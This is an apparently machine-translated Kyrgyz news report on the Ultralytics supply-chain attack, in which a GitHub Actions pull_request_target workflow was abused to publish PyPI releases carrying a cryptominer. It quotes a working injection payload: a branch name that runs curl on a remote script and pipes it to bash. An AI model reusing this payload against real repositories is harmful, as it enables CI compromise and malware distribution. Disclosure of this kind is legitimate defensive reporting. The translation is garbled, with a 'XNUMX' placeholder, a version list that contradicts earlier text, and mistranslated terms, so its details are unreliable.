Чабуулчулар Ultralytics Python китепканасынын репозиторийинде GitHub Actions иштетүүчү укуктары менен кодду аткара алышты, ал сүрөттөрдөгү объекттерди аныктоо жана сүрөттөрдү сегменттөө сыяктуу компьютердик көрүү көйгөйлөрүн чечүү үчүн колдонулат. Репозиторийге кирүү мүмкүнчүлүгүнө ээ болгондон кийин, чабуулчулар PyPI каталогунда бир нече жаңы Ultralytics релиздерин жарыялашкан, алар cryptocurrency казуу үчүн зыяндуу өзгөртүүлөрдү камтыган. Акыркы бир айдын ичинде Ultralytics китепканасы PyPI каталогунан 6.4 миллиондон ашык жолу жүктөлүп алынган.
Репозиторийди бузуу үчүн, GitHub Actions механизмин колдонуу менен GitHub репозиторийинде белгилүү иш-аракеттер аткарылганда иштеткичтерди автоматтык түрдө ишке киргизүү үчүн колдонулган ultralytics-action пакетинде аялуу жери колдонулган. Ultralytics долбоорунда аялуу иштеткич pull_request_target окуясына байланган жана жаңы тартуу сурамдары келгенде чакырылган. Тактап айтканда, жөнөтүлгөн тартуу сурамдарындагы кодду форматтоо үчүн format.yml иштеткичи чакырылып, action.yml файлынын "чуркоо" бөлүмүндө көрсөтүлгөн код аткарылды, анда алмаштыруу үлгүлөрү бар кабык буйруктары камтылган: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"
Ошентип, тартуу өтүнүчүндө айтылган Гит бутагынын аталышы туура качпастан, кабык командаларына алмаштырылган. Белгилей кетчү нерсе, август айында ultralytics-Action пакети echo функциясында тышкы маанини колдонуу менен байланышкан ушундай кемчиликти оңдогон: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »
GitHub Аракеттер иштеткичинин контекстинде өз кодунун аткарылышын уюштуруу үчүн, чабуулчулар ультралитика репозиторийине филиалдын аталышы катары төмөнкүлөрдү көрсөтүү менен тартуу өтүнүчүн жөнөтүштү: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Тиешелүү түрдө, тартуу өтүнүчү келип түшкөндө, кодго чабуулчу тарабынан көрсөтүлгөн “$(…)” сап киргизилген, ал иштеткич кийинчерээк ишке киргизилгенде “curl -sSfL raw.githubusercontent” кодунун аткарылышына алып келген. com/…/file.sh | баш".

GitHub Аракеттеринин контекстинде иштеп жаткан код репозиторийге кирүү белгисин жана башка купуя маалыматтарды алуу үчүн колдонулушу мүмкүн. Кол салгандар GitHub Арекеттеринде өз кодун аткаруу мүмкүнчүлүгүнө ээ болгон релизди кантип түзө алышканы азырынча белгисиз, бул publish.yml иштеткичинин өзгөрүшүнө байланыштуу мүмкүн болду (чабуулчулар текшерүүнү алып салышты; PyPIде релиздерди жарыялоого уруксат берилген эсеп) жана GitHub Actions түзүүчү кэшти ууландыруучу технологияны колдонуу, маалыматыңызды релизге киргизүү үчүн.
Ultralytics 8.3.41дин биринчи зыяндуу версиясы чабуулчулар тарабынан PyPI'де 4-декабрда саат 23:51де (MSK) жарыяланып, эртеси күнү саат 12:15те алынып салынган. Саат 15:47де дагы бир версиясы, 8.3.42, жарыяланып, саат 16:47де алынып салынган. Ошентип, зыяндуу версияларды болжол менен 13 саат бою жүктөп алууга мүмкүн болгон (PyPI күнүнө ultralytics китепканасынын болжол менен 250 000 жүктөлүшүн жазып алат). 8.3.41 жана 8.3.42 версияларында тышкы булактан жүктөлүп алынган код камтылган сервер Криптовалюта майнинги үчүн XMRig компоненти.
Долбоорду иштеп чыгуучулар көйгөйдү оңдоп, 8.3.43 жана 8.3.44 түзөтүүчү релиздерди түзүштү, бирок эки күндөн кийин дагы бир чабуул жасалды, анын жүрүшүндө чабуулчулар бүгүн саат 04:41 жана 05:27 (MSK) боюнча эки кошумча зыяндуу релиздерди жарыялашты - 8.3.45 8.3.46 жана 8.3.44, алар башка тоо-кен кодексин камтыйт. Тергөөнүн аягына чейин колдонуучуларга жаңы версияларды орнотууну токтотуп, XNUMX чыгарууну көз карандылык катары оңдоо сунушталат.
Source: opennet.ru
